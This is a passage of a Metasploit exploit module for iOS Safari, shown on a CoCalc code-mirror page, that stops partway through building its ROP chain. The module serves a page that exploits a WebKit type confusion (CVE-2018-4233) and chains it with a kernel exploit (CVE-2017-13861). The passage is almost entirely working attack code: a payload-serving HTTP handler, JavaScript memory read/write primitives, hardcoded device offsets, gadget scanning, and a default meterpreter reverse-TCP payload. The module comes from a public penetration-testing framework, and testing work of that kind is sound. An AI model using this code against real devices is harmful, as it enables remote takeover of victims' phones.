CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/apple_ios/browser/webkit_createthis.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ManualRanking
8
9
include Msf::Post::File
10
include Msf::Exploit::EXE
11
include Msf::Exploit::Remote::HttpServer
12
13
def initialize(info = {})
14
super(update_info(info,
15
'Name' => 'Safari Webkit Proxy Object Type Confusion',
16
'Description' => %q{
17
This module exploits a type confusion bug in the Javascript Proxy object in
18
WebKit. The DFG JIT does not take into account that, through the use of a Proxy,
19
it is possible to run arbitrary JS code during the execution of a CreateThis
20
operation. This makes it possible to change the structure of e.g. an argument
21
without causing a bailout, leading to a type confusion (CVE-2018-4233).
22
23
The type confusion leads to the ability to allocate fake Javascript objects,
24
as well as the ability to find the address in memory of a Javascript object.
25
This allows us to construct a fake JSCell object that can be used to read
26
and write arbitrary memory from Javascript. The module then uses a ROP chain
27
to write the first stage shellcode into executable memory within the Safari
28
process and kick off its execution.
29
30
The first stage maps the second stage macho (containing CVE-2017-13861) into
31
executable memory, and jumps to its entrypoint. The CVE-2017-13861 async_wake
32
exploit leads to a kernel task port (TFP0) that can read and write arbitrary
33
kernel memory. The processes credential and sandbox structure in the kernel
34
is overwritten and the meterpreter payloads code signature hash is added to
35
the kernels trust cache, allowing Safari to load and execute the (self-signed)
36
meterpreter payload.
37
},
38
'License' => MSF_LICENSE,
39
'Author' => [
40
'saelo',
41
'niklasb',
42
'Ian Beer',
43
'siguza',
44
],
45
'References' => [
46
['CVE', '2018-4233'],
47
['CVE', '2017-13861'],
48
['URL', 'https://github.com/saelo/cve-2018-4233'],
49
['URL', 'https://github.com/phoenhex/files/tree/master/exploits/ios-11.3.1'],
50
['URL', 'https://bugs.chromium.org/p/project-zero/issues/detail?id=1417'],
51
['URL', 'https://github.com/JakeBlair420/totally-not-spyware/blob/master/root/js/spyware.js'],
52
],
53
'Arch' => ARCH_AARCH64,
54
'Platform' => 'apple_ios',
55
'DefaultTarget' => 0,
56
'DefaultOptions' => { 'PAYLOAD' => 'apple_ios/aarch64/meterpreter_reverse_tcp' },
57
'Targets' => [[ 'Automatic', {} ]],
58
'DisclosureDate' => '2018-03-15'))
59
register_advanced_options([
60
OptBool.new('DEBUG_EXPLOIT', [false, "Show debug information in the exploit javascript", false]),
61
OptBool.new('DUMP_OFFSETS', [false, "Show newly found offsets in a javascript prompt", false]),
62
])
63
end
64
65
def payload_url
66
"tcp://#{datastore["LHOST"]}:#{datastore["LPORT"]}"
67
end
68
69
def get_version(user_agent)
70
if user_agent =~ /OS (.*?) like Mac OS X\)/
71
ios_version = Rex::Version.new($1.gsub("_", "."))
72
return ios_version
73
end
74
fail_with Failure::NotVulnerable, 'Target is not vulnerable'
75
end
76
77
def on_request_uri(cli, request)
78
if request.uri =~ %r{/apple-touch-icon*}
79
return
80
elsif request.uri =~ %r{/favicon*}
81
return
82
elsif request.uri =~ %r{/payload10$*}
83
payload_data = MetasploitPayloads::Mettle.new('aarch64-iphone-darwin').to_binary :dylib_sha1
84
send_response(cli, payload_data, {'Content-Type'=>'application/octet-stream'})
85
print_good("Sent sha1 iOS 10 payload")
86
return
87
elsif request.uri =~ %r{/payload11$*}
88
payload_data = MetasploitPayloads::Mettle.new('aarch64-iphone-darwin').to_binary :dylib
89
send_response(cli, payload_data, {'Content-Type'=>'application/octet-stream'})
90
print_good("Sent sha256 iOS 11 payload")
91
return
92
end
93
94
user_agent = request['User-Agent']
95
print_status("Requesting #{request.uri} from #{user_agent}")
96
version = get_version(user_agent)
97
ios_11 = (version >= Rex::Version.new('11.0.0'))
98
if request.uri =~ %r{/exploit$}
99
loader_data = exploit_data('CVE-2017-13861', 'exploit')
100
srvhost = Rex::Socket.resolv_nbo_i(srvhost_addr)
101
config = [srvhost, srvport].pack("Nn") + payload_url
102
payload_url_index = loader_data.index('PAYLOAD_URL')
103
loader_data[payload_url_index, config.length] = config
104
print_good("Sent async_wake exploit")
105
send_response(cli, loader_data, {'Content-Type'=>'application/octet-stream'})
106
return
107
end
108
109
get_mem_rw_ios_10 = %Q^
110
function get_mem_rw(stage1) {
111
var structs = [];
112
function sprayStructures() {
113
function randomString() {
114
return Math.random().toString(36).replace(/[\^a-z]+/g, "").substr(0, 5)
115
}
116
for (var i = 0; i < 4096; i++) {
117
var a = new Float64Array(1);
118
a[randomString()] = 1337;
119
structs.push(a)
120
}
121
}
122
sprayStructures();
123
var hax = new Uint8Array(4096);
124
var jsCellHeader = new Int64([0, 16, 0, 0, 0, 39, 24, 1]);
125
var container = {
126
jsCellHeader: jsCellHeader.asJSValue(),
127
butterfly: false,
128
vector: hax,
129
lengthAndFlags: (new Int64("0x0001000000000010")).asJSValue()
130
};
131
var address = Add(stage1.addrof(container), 16);
132
var fakearray = stage1.fakeobj(address);
133
while (!(fakearray instanceof Float64Array)) {
134
jsCellHeader.assignAdd(jsCellHeader, Int64.One);
135
container.jsCellHeader = jsCellHeader.asJSValue()
136
}
137
memory = {
138
read: function(addr, length) {
139
fakearray[2] = i2f(addr);
140
var a = new Array(length);
141
for (var i = 0; i < length; i++) a[i] = hax[i];
142
return a
143
},
144
readInt64: function(addr) {
145
return new Int64(this.read(addr, 8))
146
},
147
write: function(addr, data) {
148
fakearray[2] = i2f(addr);
149
for (var i = 0; i < data.length; i++) hax[i] = data[i]
150
},
151
writeInt64: function(addr, val) {
152
return this.write(addr, val.bytes())
153
},
154
};
155
var empty = {};
156
var header = memory.read(stage1.addrof(empty), 8);
157
memory.write(stage1.addrof(container), header);
158
var f64array = new Float64Array(8);
159
header = memory.read(stage1.addrof(f64array), 16);
160
memory.write(stage1.addrof(fakearray), header);
161
memory.write(Add(stage1.addrof(fakearray), 24), [16, 0, 0, 0, 1, 0, 0, 0]);
162
fakearray.container = container;
163
return memory;
164
}
165
^
166
167
get_mem_rw_ios_11 = %Q^
168
function get_mem_rw(stage1) {
169
var FPO = typeof(SharedArrayBuffer) === 'undefined' ? 0x18 : 0x10;
170
var structure_spray = []
171
for (var i = 0; i < 1000; ++i) {
172
var ary = {a:1,b:2,c:3,d:4,e:5,f:6,g:0xfffffff}
173
ary['prop'+i] = 1
174
structure_spray.push(ary)
175
}
176
var manager = structure_spray[500]
177
var leak_addr = stage1.addrof(manager)
178
//print('leaking from: '+ hex(leak_addr))
179
function alloc_above_manager(expr) {
180
var res
181
do {
182
for (var i = 0; i < ALLOCS; ++i) {
183
structure_spray.push(eval(expr))
184
}
185
res = eval(expr)
186
} while (stage1.addrof(res) < leak_addr)
187
return res
188
}
189
var unboxed_size = 100
190
var unboxed = alloc_above_manager('[' + '13.37,'.repeat(unboxed_size) + ']')
191
var boxed = alloc_above_manager('[{}]')
192
var victim = alloc_above_manager('[]')
193
// Will be stored out-of-line at butterfly - 0x10
194
victim.p0 = 0x1337
195
function victim_write(val) {
196
victim.p0 = val
197
}
198
function victim_read() {
199
return victim.p0
200
}
201
i32[0] = 0x200 // Structure ID
202
i32[1] = 0x01082007 - 0x10000 // Fake JSCell metadata, adjusted for boxing
203
var outer = {
204
p0: 0, // Padding, so that the rest of inline properties are 16-byte aligned
205
p1: f64[0],
206
p2: manager,
207
p3: 0xfffffff, // Butterfly indexing mask
208
}
209
var fake_addr = stage1.addrof(outer) + FPO + 0x8;
210
//print('fake obj @ ' + hex(fake_addr))
211
var unboxed_addr = stage1.addrof(unboxed)
212
var boxed_addr = stage1.addrof(boxed)
213
var victim_addr = stage1.addrof(victim)
214
//print('leak ' + hex(leak_addr)
215
//+ ' unboxed ' + hex(unboxed_addr)
216
//+ ' boxed ' + hex(boxed_addr)
217
//+ ' victim ' + hex(victim_addr))
218
var holder = {fake: {}}
219
holder.fake = stage1.fakeobj(fake_addr)
220
// From here on GC would be uncool
221
// Share a butterfly for easier boxing/unboxing
222
var shared_butterfly = f2i(holder.fake[(unboxed_addr + 8 - leak_addr) / 8])
223
var boxed_butterfly = holder.fake[(boxed_addr + 8 - leak_addr) / 8]
224
holder.fake[(boxed_addr + 8 - leak_addr) / 8] = i2f(shared_butterfly)
225
var victim_butterfly = holder.fake[(victim_addr + 8 - leak_addr) / 8]
226
function set_victim_addr(where) {
227
holder.fake[(victim_addr + 8 - leak_addr) / 8] = i2f(where + 0x10)
228
}
229
function reset_victim_addr() {
230
holder.fake[(victim_addr + 8 - leak_addr) / 8] = victim_butterfly
231
}
232
var stage2 = {
233
addrof: function(victim) {
234
boxed[0] = victim
235
return f2i(unboxed[0])
236
},
237
fakeobj: function(addr) {
238
unboxed[0] = i2f(addr)
239
return boxed[0]
240
},
241
write64: function(where, what) {
242
set_victim_addr(where)
243
victim_write(this.fakeobj(what))
244
reset_victim_addr()
245
},
246
read64: function(where) {
247
set_victim_addr(where)
248
var res = this.addrof(victim_read())
249
reset_victim_addr()
250
return res;
251
},
252
write_non_zero: function(where, values) {
253
for (var i = 0; i < values.length; ++i) {
254
if (values[i] != 0)
255
this.write64(where + i*8, values[i])
256
}
257
},
258
readInt64: function(where) {
259
if (where instanceof Int64) {
260
where = Add(where, 0x10);
261
holder.fake[(victim_addr + 8 - leak_addr) / 8] = where.asDouble();
262
} else {
263
set_victim_addr(where);
264
}
265
boxed[0] = victim_read();
266
var res = f2i(unboxed[0]);
267
reset_victim_addr();
268
return new Int64(res);
269
},
270
read: function(addr, length) {
271
var address = new Int64(addr);
272
var a = new Array(length);
273
var i;
274
275
for (i = 0; i + 8 < length; i += 8) {
276
v = this.readInt64(Add(address, i)).bytes()
277
for (var j = 0; j < 8; j++) {
278
a[i+j] = v[j];
279
}
280
}
281
282
v = this.readInt64(Add(address, i)).bytes()
283
for (var j = i; j < length; j++) {
284
a[j] = v[j - i];
285
}
286
287
return a
288
},
289
test: function() {
290
this.write64(boxed_addr + 0x10, 0xfff) // Overwrite index mask, no biggie
291
if (0xfff != this.read64(boxed_addr + 0x10)) {
292
fail(2)
293
}
294
},
295
}
296
// Test read/write
297
stage2.test()
298
return stage2;
299
}
300
^
301
302
get_mem_rw = (version >= Rex::Version.new('11.2.2')) ? get_mem_rw_ios_11 : get_mem_rw_ios_10
303
utils = exploit_data "javascript_utils", "utils.js"
304
int64 = exploit_data "javascript_utils", "int64.js"
305
dump_offsets = ''
306
if datastore['DUMP_OFFSETS']
307
dump_offsets = %Q^
308
var offsetstr = uuid + " : { ";
309
var offsetarray = [ "_dlsym", "_dlopen", "__longjmp", "regloader", "dispatch", "stackloader", "movx4", "ldrx8", "_mach_task_self_", "__kernelrpc_mach_vm_protect_trap", "__platform_memmove",
310
"__ZN3JSC30endOfFixedExecutableMemoryPoolE", "__ZN3JSC29jitWriteSeparateHeapsFunctionE", "__ZN3JSC32startOfFixedExecutableMemoryPoolE", ];
311
for (var i = 0; i < offsetarray.length; i++) {
312
var offset = offsets[offsetarray[i]];
313
if (offset) {
314
var offsethex = Sub(offset, cache_slide).toString().replace("0x0000000", "0x");
315
offsetstr += "\\"" + offsetarray[i] + "\\" : " + offsethex + ", ";
316
}
317
}
318
offsetstr += "}, ";
319
prompt("offsets: ", offsetstr);
320
^
321
end
322
323
html = %Q^
324
<html>
325
<body>
326
<script>
327
328
#{utils}
329
#{int64}
330
331
print = alert;
332
ITERS = 1E4;
333
ALLOCS = 1E3;
334
335
var conversion_buffer = new ArrayBuffer(8);
336
var f64 = new Float64Array(conversion_buffer);
337
var i32 = new Uint32Array(conversion_buffer);
338
var BASE32 = 0x100000000;
339
340
function f2i(f) {
341
f64[0] = f;
342
return i32[0] + BASE32 * i32[1];
343
}
344
345
function i2f(i) {
346
i32[0] = i % BASE32;
347
i32[1] = i / BASE32;
348
return f64[0];
349
}
350
351
function hexit(x) {
352
if (x instanceof Int64) return x.toString();
353
if (x < 0) return "-" + hex(-x);
354
return "0x" + x.toString(16);
355
}
356
357
function fail(x) {
358
print('FAIL ' + x);
359
location.reload();
360
throw null;
361
}
362
363
counter = 0;
364
365
// CVE-2018-4233
366
function trigger(constr, modify, res, val) {
367
return eval(`
368
var o = [13.37]
369
var Constructor${counter} = function(o) { ${constr} }
370
var hack = false
371
var Wrapper = new Proxy(Constructor${counter}, {
372
get: function() {
373
if (hack) {
374
${modify}
375
}
376
}
377
})
378
for (var i = 0; i < ITERS; ++i)
379
new Wrapper(o)
380
hack = true
381
var bar = new Wrapper(o)
382
${res}
383
`)
384
}
385
386
var workbuf = new ArrayBuffer(0x1000000);
387
var payload = new Uint8Array(workbuf);
388
389
function pwn() {
390
var stage1 = {
391
addrof: function(victim) {
392
return f2i(trigger("this.result = o[0]", "o[0] = val", "bar.result", victim))
393
},
394
fakeobj: function(addr) {
395
return trigger("o[0] = val", "o[0] = {}", "o[0]", i2f(addr))
396
},
397
test: function() {
398
var addr = this.addrof({
399
a: 4919
400
});
401
var x = this.fakeobj(addr);
402
if (x.a != 4919) fail("stage1")
403
}
404
};
405
stage1.test();
406
407
var stage2 = get_mem_rw(stage1);
408
var FPO = #{ios_11 ? "(typeof(SharedArrayBuffer) === 'undefined') ? 0x20 : 0x18;" : "0x18;"}
409
var memory = stage2;
410
memory.u32 = _u32;
411
412
var wrapper = document.createElement("div");
413
var wrapper_addr = stage1.addrof(wrapper);
414
var el_addr = memory.readInt64(wrapper_addr + FPO);
415
var vtab = memory.readInt64(el_addr);
416
417
var anchor = memory.readInt64(vtab);
418
var hdr = Sub(anchor, anchor.lo() & 0xfff);
419
var b = [];
420
while(true)
421
{
422
if (memory.readInt64(hdr).lo() == 4277009104) {
423
fail('WebCore ' + hdr + ' post spectre support coming soon');
424
}
425
if(strcmp(memory.read(hdr, 0x10), "dyld_v1 arm64"))
426
{
427
break;
428
}
429
hdr = Sub(hdr, 0x1000);
430
}
431
432
var base_seg = null;
433
var nsegs = memory.u32(Add(hdr, 0x14));
434
var segdata = memory.read(Add(hdr, memory.u32(Add(hdr, 0x10))), nsegs * 0x20);
435
var segs = [];
436
for(var i = 0; i < nsegs; ++i)
437
{
438
var off = i * 0x20;
439
var seg =
440
{
441
addr: new Int64(segdata.slice(off + 0x0, off + 0x8)),
442
size: new Int64(segdata.slice(off + 0x8, off + 0x10)),
443
fileoff: new Int64(segdata.slice(off + 0x10, off + 0x18)),
444
maxprot: b2u32(segdata.slice(off + 0x18, off + 0x1c)),
445
initprot: b2u32(segdata.slice(off + 0x1c, off + 0x20))
446
};
447
segs.push(seg);
448
if(seg.fileoff.hi() == 0 && seg.fileoff.lo() == 0 && (seg.size.hi() != 0 || seg.size.lo() != 0))
449
{
450
base_seg = seg;
451
}
452
}
453
if(base_seg == null)
454
{
455
fail("base_seg");
456
}
457
458
var cache_slide = Sub(hdr, base_seg.addr);
459
var uuid = memory.readInt64(Add(hdr, 0x58)).lo();
460
var offset_cache = {
461
// iPod Touch 10.1.1
462
788795426 : { "_dlsym" : 0x18052ddd8, "_dlopen" : 0x18052dd10, "__longjmp" : 0x1806ffb78, "regloader" : 0x180f0622c, "dispatch" : 0x180d7e058, "stackloader" : 0x18099a8e8, "_mach_task_self_" : 0x1a586e3bc,
463
"__kernelrpc_mach_vm_protect_trap" : 0x1806240a4, "__platform_memmove" : 0x1806ffe00, "__ZN3JSC30endOfFixedExecutableMemoryPoolE" : 0x1a457c438, },
464
465
// iPhone 5S 10.2.1
466
3432281541 : { "_dlsym" : 0x18052edd8, "_dlopen" : 0x18052ed10, "__longjmp" : 0x180700b78, "regloader" : 0x180f07230, "dispatch" : 0x180d7f05c, "stackloader" : 0x18099b8ec, "mach_task_self" : 0x1a6da23bc,
467
"__kernelrpc_mach_vm_protect_trap" : 0x1806250c0, "__platform_memmove" : 0x180700e00, "__ZN3JSC30endOfFixedExecutableMemoryPoolE" : 0x1a5a0d438, },
468
469
// iPhone 6S 11.0.3
470
425478416 : { "_dlsym" : 0x180587574, "_dlopen" : 0x180587460, "__longjmp" : 0x1807bd7dc, "regloader" : 0x180051ad8, "dispatch" : 0x19b323a4c, "stackloader" : 0x19b2e6f40, "movx4" : 0x19b33305c,
471
"ldrx8" : 0x180060028, "__ZN3JSC30endOfFixedExecutableMemoryPoolE" : 0x1b15d8a00, "__ZN3JSC29jitWriteSeparateHeapsFunctionE" : 0x1b15d8a08, "__ZN3JSC32startOfFixedExecutableMemoryPoolE" : 0x1b15d89f8, },
472
};
473
474
var offsets = offset_cache[uuid];
475
if (offsets)
476
{
477
var k = Object.keys(offsets);
478
for(var i = 0; i < k.length; ++i)
479
{
480
var s = k[i];
481
offsets[s] = Add(offsets[s], cache_slide);
482
}
483
}
484
else
485
{
486
var syms = {};
487
var gadgets = {};
488
489
for(var i = 0; i < segs.length; ++i)
490
{
491
segs[i].addr = Add(segs[i].addr, cache_slide);
492
}
493
var libs =
494
{
495
"/usr/lib/system/libdyld.dylib": ["_dlsym", "_dlopen"],
496
#{ ios_11 ? '
497
"/System/Library/Frameworks/JavaScriptCore.framework/JavaScriptCore": ["__ZN3JSC29jitWriteSeparateHeapsFunctionE"],
498
"/usr/lib/system/libsystem_platform.dylib": ["__longjmp"],
499
' : '
500
"/usr/lib/system/libsystem_platform.dylib": ["__longjmp", "__platform_memmove"],
501
"/usr/lib/system/libsystem_kernel.dylib": ["_mach_task_self_", "__kernelrpc_mach_vm_protect_trap"],
502
"/System/Library/Frameworks/JavaScriptCore.framework/JavaScriptCore": ["__ZN3JSC30endOfFixedExecutableMemoryPoolE"],
503
'}
504
}
505
506
#{ ios_11 ? '
507
var opcodes = {
508
// ldr x8, [sp] ; str x8, [x19] ; ldp x29, x30, [sp, #0x20] ; ldp x20, x19, [sp, #0x10] ; add sp, sp, #0x30 ; ret
509
"ldrx8": [ [0xf94003e8, 0xf9000268, 0xa9427bfd, 0xa9414ff4, 0x9100c3ff, 0xd65f03c0] ],
510
// blr x21; ldp x29, x30, [sp, 0x30]; ldp x20, x19, [sp, 0x20]; ldp x22, x21, [sp, 0x10]; add sp, sp, 0x40; ret
511
"dispatch": [ [ 0xd63f02a0, 0xa9437bfd, 0xa9424ff4, 0xa94157f6, 0x910103ff, 0xd65f03c0 ] ],
512
// mov x3, x22 ; mov x6, x27 ; mov x0, x24 ; mov x1, x19 ; mov x2, x23 ; ldr x4, [sp] ; blr x8
513
"regloader": [ [ 0xaa1603e3, 0xaa1b03e6, 0xaa1803e0, 0xaa1303e1, 0xaa1703e2, 0xf94003e4, 0xd63f0100 ] ],
514
// ldp x29, x30, [sp, 0x60]; ldp x20, x19, [sp, 0x50]; ldp x22, x21, [sp, 0x40]; ldp x24, x23, [sp, 0x30];
515
// ldp x26, x25, [sp, 0x20]; ldp x28, x27, [sp, 0x10]; add sp, sp, 0x70; ret
516
"stackloader": [ [ 0xa9467bfd, 0xa9454ff4, 0xa94457f6, 0xa9435ff8, 0xa94267fa, 0xa9416ffc, 0x9101c3ff, 0xd65f03c0 ] ],
517
// mov x4, x20 ; blr x8
518
"movx4": [ [ 0xaa1403e4, 0xd63f0100 ] ],
519
}
520
var opcode_libs = [
521
"/usr/lib/PN548.dylib", // dispatch, stackloader
522
"/usr/lib/libc++.1.dylib", // ldrx8, regloader, movx4, stackloader
523
];
524
525
' : '
526
var opcodes = {
527
// mov x0, x23; mov x1, x22; mov x2, x24; mov x3, x25; mov x4, x26; mov x5, x27; blr x28
528
"regloader": [ [ 0xaa1703e0, 0xaa1603e1, 0xaa1803e2, 0xaa1903e3, 0xaa1a03e4, 0xaa1b03e5, 0xd63f0380 ] ],
529
"dispatch": [
530
// blr x21; ldp x29, x30, [sp, 0x30]; ldp x20, x19, [sp, 0x20]; ldp x22, x21, [sp, 0x10]; add sp, sp, 0x40; ret
531
[ 0xd63f02a0, 0xa9437bfd, 0xa9424ff4, 0xa94157f6, 0x910103ff, 0xd65f03c0 ],
532
// blr x21; sub sp, x29, 0x20; ldp x29, x30, [sp, 0x20]; ldp x20, x19, [sp, 0x10]; ldp x22, x21, [sp], 0x30; ret
533
[ 0xd63f02a0, 0xd10083bf, 0xa9427bfd, 0xa9414ff4, 0xa8c357f6, 0xd65f03c0 ],
534
],
535
"stackloader": [
536
// ldp x29, x30, [sp, 0x60]; ldp x20, x19, [sp, 0x50]; ldp x22, x21, [sp, 0x40]; ldp x24, x23, [sp, 0x30];
537
// ldp x26, x25, [sp, 0x20]; ldp x28, x27, [sp, 0x10]; add sp, sp, 0x70; ret
538
[ 0xa9467bfd, 0xa9454ff4, 0xa94457f6, 0xa9435ff8, 0xa94267fa, 0xa9416ffc, 0x9101c3ff, 0xd65f03c0 ],
539
// sub sp, x29, 0x50; ldp x29, x30, [sp, 0x50]; ldp x20, x19, [sp, 0x40]; ldp x22, x21, [sp, 0x30];
540
// ldp x24, x23, [sp, 0x20]; ldp x26, x25, [sp, 0x10]; ldp x28, x27, [sp], 0x60; ret
541
[ 0xd10143bf, 0xa9457bfd, 0xa9444ff4, 0xa94357f6, 0xa9425ff8, 0xa94167fa, 0xa8c66ffc, 0xd65f03c0 ],
542
],
543
};
544
545
var opcode_libs = [ "/usr/lib/libLLVM.dylib" ];
546
'}
547
548
var imgs = Add(hdr, memory.u32(Add(hdr, 0x18)));
549
var nimgs = memory.u32(Add(hdr, 0x1c));
550
for(var i = 0; i < nimgs; ++i)
551
{
552
var straddr = off2addr(segs, memory.u32(Add(imgs, i * 0x20 + 0x18)));
553
var fn = function(i)
554
{
555
return memory.read(Add(straddr, i), 1)[0];
556
};
557
var base = Add(memory.readInt64(Add(imgs, i * 0x20)), cache_slide);
558
if(opcode_libs.some(lib => strcmp(fn, lib)))
559
{
560
var ncmds = memory.u32(Add(base, 0x10));
561
for(var j = 0, off = 0x20; j < ncmds; ++j)
562
{
563
var cmd = memory.u32(Add(base, off));
564
if(cmd == 0x19 && strcmp(memory.read(Add(base, off + 0x8), 0x10), "__TEXT")) // LC_SEGMENT_64
565
{
566
var nsects = memory.u32(Add(base, off + 0x40));
567
for(var k = 0, o = off + 0x48; k < nsects; ++k)
568
{
569
if(strcmp(memory.read(Add(base, o), 0x10), "__text"))
570
{
571
var keys = Object.keys(opcodes).filter(k=>!gadgets.hasOwnProperty[k])
572
if (keys.length == 0) break;
573
574
var addr = Add(memory.readInt64(Add(base, o + 0x20)), cache_slide)
575
var size = memory.u32(Add(base, o + 0x28))
576
577
// Copy the entire __text region into a Uint32Array for faster processing.
578
// Previously you could map a Uint32Array over the data, but on i7+ devices
579
// this caused access violations.
580
// Instead we read the entire region and copy it into a Uint32Array. The
581
// memory.read primitive has a weird limitation where it's only able to read
582
// up to 4096 bytes. to get around this we'll read multiple times and combine
583
// them into one.
584
585
var allData = new Uint32Array(size / 4)
586
for (var r = 0; r < size; r += 4096) {
587
// Check to ensure we don't read out of the region we want
588
var qty = 4096
589
if (size - r < qty) {
590
qty = size - r
591
}
592
var data = memory.read(Add(addr, r), qty)
593
594
// Data is an array of single bytes. This code takes four entries
595
// and converts them into a single 32-bit integer. It then adds it
596
// into the `allData` array at the given index
597
for (var h = 0; h < qty; h += 4) {
598
var fourBytes = b2u32(data.slice(h, h + 4))
599
allData[(r + h) / 4] = fourBytes
600
}
601
}
602
603
// Loop through the entire data map looking for each gadget we need
604
for (var f = 0; f < size && keys.length > 0; f++) {
605
606
// Check every gadget
607
for (var z = 0; z < keys.length; z++) {
608
var key = keys[z];
609
var opcode_list = opcodes[key];
610
for (var y = 0; y < opcode_list.length; y++) {
611
var opcode = opcode_list[y];
612
for (var t = 0; t < opcode.length; t++) {
613
var op = allData[f+t];
614
if (op == opcode[t]) {
615
if (t == opcode.length - 1) {
616
gadgets[key] = Add(addr, f*4);
617
keys.splice(z, 1);
618
z = keys.length;
619
break;
620
}
621
continue;
622
}
623
break;
624
}
625
}
626
}
627
}
628
629
break;
630
}
631
o += 0x50;
632
}
633
break;
634
}
635
off += memory.u32(Add(base, off + 0x4));
636
}
637
continue;
638
}
639
var lookup = null;
640
for(var k = Object.keys(libs), j = 0; j < k.length; ++j)
641
{
642
if(strcmp(fn, k[j]))
643
{
644
lookup = libs[k[j]];
645
break;
646
}
647
}
648
if(lookup != null)
649
{
650
fsyms(memory, base, segs, lookup, syms);
651
}
652
}
653
654
var vals = Object.keys(libs).map(function(key) {
655
return libs[key];
656
});
657
var k = vals.reduce(function(p,c){ c.forEach(function(e){ p.push(e) });return p; }, []);
658
for(var i = 0; i < k.length; ++i)
659
{
660
var s = k[i];
661
if(syms[s] == null)
662
{
663
fail(s);
664
}
665
syms[s] = Add(syms[s], cache_slide);
666
}
667
k = Object.keys(opcodes);
668
for(var i = 0; i < k.length; ++i)
669
{
670
var s = k[i];
671
if(gadgets[s] == null)
672
{
673
fail(s);
674
}
675
}
676
677
offsets = {}
678
offsets["regloader"] = gadgets["regloader"];
679
offsets["dispatch"] = gadgets["dispatch"];
680
offsets["stackloader"] = gadgets["stackloader"];
681
offsets["ldrx8"] = gadgets["ldrx8"];
682
offsets["movx4"] = gadgets["movx4"];
683
offsets["__longjmp"] = syms["__longjmp"];
684
offsets["__kernelrpc_mach_vm_protect_trap"] = syms["__kernelrpc_mach_vm_protect_trap"];
685
offsets["__platform_memmove"] = syms["__platform_memmove"];
686
offsets["_dlopen"] = syms["_dlopen"];
687
offsets["_dlsym"] = syms["_dlsym"];
688
offsets["_mach_task_self_"] = syms["_mach_task_self_"];
689
offsets["__ZN3JSC32startOfFixedExecutableMemoryPoolE"] = syms["__ZN3JSC32startOfFixedExecutableMemoryPoolE"];
690
offsets["__ZN3JSC30endOfFixedExecutableMemoryPoolE"] = syms["__ZN3JSC30endOfFixedExecutableMemoryPoolE"];
691
offsets["__ZN3JSC29jitWriteSeparateHeapsFunctionE"] = syms["__ZN3JSC29jitWriteSeparateHeapsFunctionE"];
692
693
if (offsets["__ZN3JSC30endOfFixedExecutableMemoryPoolE"] == null && offsets["__ZN3JSC29jitWriteSeparateHeapsFunctionE"] != null) {
694
offsets["__ZN3JSC30endOfFixedExecutableMemoryPoolE"] = Sub(offsets["__ZN3JSC29jitWriteSeparateHeapsFunctionE"], 8);
695
}
696
#{ ios_11 ? '
697
if (offsets["__ZN3JSC32startOfFixedExecutableMemoryPoolE"] == null && offsets["__ZN3JSC30endOfFixedExecutableMemoryPoolE"] != null) {
698
offsets["__ZN3JSC32startOfFixedExecutableMemoryPoolE"] = Sub(offsets["__ZN3JSC30endOfFixedExecutableMemoryPoolE"], 8);
699
}' : ''}
700
701
#{dump_offsets}
702
703
}
704
705
706
var regloader = offsets["regloader"];
707
var dispatch = offsets["dispatch"];
708
var stackloader = offsets["stackloader"];
709
var longjmp = offsets["__longjmp"];
710
var mach_vm_protect = offsets["__kernelrpc_mach_vm_protect_trap"];
711
var memmove = offsets["__platform_memmove"];
712
var dlopen = offsets["_dlopen"];
713
var dlsym = offsets["_dlsym"];
714
var task_self = offsets["_mach_task_self_"]
715
var endOfFixedMem = offsets["__ZN3JSC30endOfFixedExecutableMemoryPoolE"];
716
var startOfFixedMem = offsets["__ZN3JSC32startOfFixedExecutableMemoryPoolE"];
717
718
var ldrx8 = offsets["ldrx8"]; // might be null
719
var movx4 = offsets["movx4"]; // might be null
720
721
var mach_task_self_ = new Int64(memory.readInt64(task_self).lo());
722
var memPoolEnd = memory.readInt64(endOfFixedMem);
723
724
var memPoolStart = Int64.Zero;
725
if (startOfFixedMem) {
726
memPoolStart = memory.readInt64(startOfFixedMem);
727
}
728
729
var jitWriteSeparateHeaps = Int64.Zero;
730
if (offsets["__ZN3JSC29jitWriteSeparateHeapsFunctionE"]) {
731
jitWriteSeparateHeaps = memory.readInt64(offsets["__ZN3JSC29jitWriteSeparateHeapsFunctionE"]);
732
}
733
734
var shsz = new Int64("0x100000");
735
var paddr = memory.readInt64(Add(stage1.addrof(payload), 0x10));
736
var codeAddr = Sub(memPoolEnd, shsz);
737
codeAddr = Sub(codeAddr, codeAddr.lo() & 0x3fff);
738
739
memory.writeInt64(Add(vtab, 0x18), longjmp);
740
memory.writeInt64(Add(el_addr, 0x58), stackloader); // x30 (gadget)
741
742
var arrsz = 0x100000,
743
off = 0x1000;
744
var arr = new Uint32Array(arrsz);
745
var stack = memory.readInt64(Add(stage1.addrof(arr), 0x10));
746
747
var pos = arrsz - off;
748
749
var add_call_llvm = function(func, x0, x1, x2, x3, x4, jump_to) {
750
x4 = x4 || Int64.Zero
751
752
// in stackloader:
753
arr[pos++] = 0xdead0010; // unused
754
arr[pos++] = 0xdead0011; // unused
755
arr[pos++] = 0xdead0012; // unused
756
arr[pos++] = 0xdead0013; // unused
757
arr[pos++] = dispatch.lo(); // x28 (gadget for regloader)
758
arr[pos++] = dispatch.hi(); // x28 (gadget for regloader)
759
arr[pos++] = 0xdead0014; // x27 (unused)
760
arr[pos++] = 0xdead0015; // x27 (unused)
761
arr[pos++] = x4.lo(); // x26 == x4 (arg5)
762
arr[pos++] = x4.hi(); // x26 == x4 (arg5)
763
arr[pos++] = x3.lo(); // x25 == x3 (arg4)
764
arr[pos++] = x3.hi(); // x25 == x3 (arg4)
765
arr[pos++] = x2.lo(); // x24 == x2 (arg3)
766
arr[pos++] = x2.hi(); // x24 == x2 (arg3)
767
arr[pos++] = x0.lo(); // x23 == x0 (arg1)
768
arr[pos++] = x0.hi(); // x23 == x0 (arg1)
769
arr[pos++] = x1.lo(); // x22 == x1 (arg2)
770
arr[pos++] = x1.hi(); // x22 == x1 (arg2)
771
arr[pos++] = func.lo(); // x21 (func)
772
arr[pos++] = func.hi(); // x21 (func)
773
arr[pos++] = 0xdbad0018; // x20 (unused)
774
